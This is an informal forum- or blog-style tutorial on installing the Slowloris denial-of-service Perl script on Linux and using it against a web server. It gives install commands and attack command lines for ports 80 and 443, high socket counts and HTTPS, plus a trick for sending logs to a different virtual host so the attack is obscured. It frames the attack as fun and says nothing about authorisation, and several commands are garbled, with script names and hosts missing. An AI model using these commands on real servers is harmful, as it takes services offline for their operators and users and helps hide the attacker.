How to install and use Slowloris on Linux

Hey there...

so many people around the internet are asking how to use slowloris in linux...
Maybe Linux isnt the right OS for you if you cant handle this out :P

But, ill show you how!

First, there are many Slowloris now you can use... But i really would prefer you to use the orginal one in perl if youre running Linux. No clone seems so mighty like the orginal!

Lets how to install Slowloris
  1. Get a Copy if Slowlors
  2. sudo apt-get install perl (normally you got perl already)
  3. sudo apt-get install libio-socket-ssl-perl
  4. Now you should be ready to run! 

Now lets learn how to use it!
  1. You need a Target. Be careful, slowloris can be very effective!
  2. cd /path/to/slowloris
  3. perl -dns - You startet youre first attack with Slowloris! 
But hold on... Isnt Slowloris a mighty Script with many different options?
Yes it is! So lets take a look at them:

Maybe you want to set the Port Slowloris is flooding to?
./ -dns -port 80
 Now lets add the Number of Sockets you want to open. The more the better :D
./ -dns -port 80 -num 500 
 Now lets attack some HTTPS! Sometimes this is damn more effective than HTTP
./ -dns -port 443 -timeout 30 -num 500 -https

Now you have seen the Basics of attacking with slowloris. There is another funny build in trick you might want to know. If you know that the Server is running several virtual hosts you can send the log to an other vhost than you are attacking!

./ -dns -port 80 -timeout 30 -num 500 -tcpto 1 -shost 

If you want to now more just ready the Source :P Its pretty easy
If you arent able to read Perl - Source try perldoc as command, you need to be in the same directory and have the perl-doc package installed. This would print the whole orginal Slowloris Tutorial!
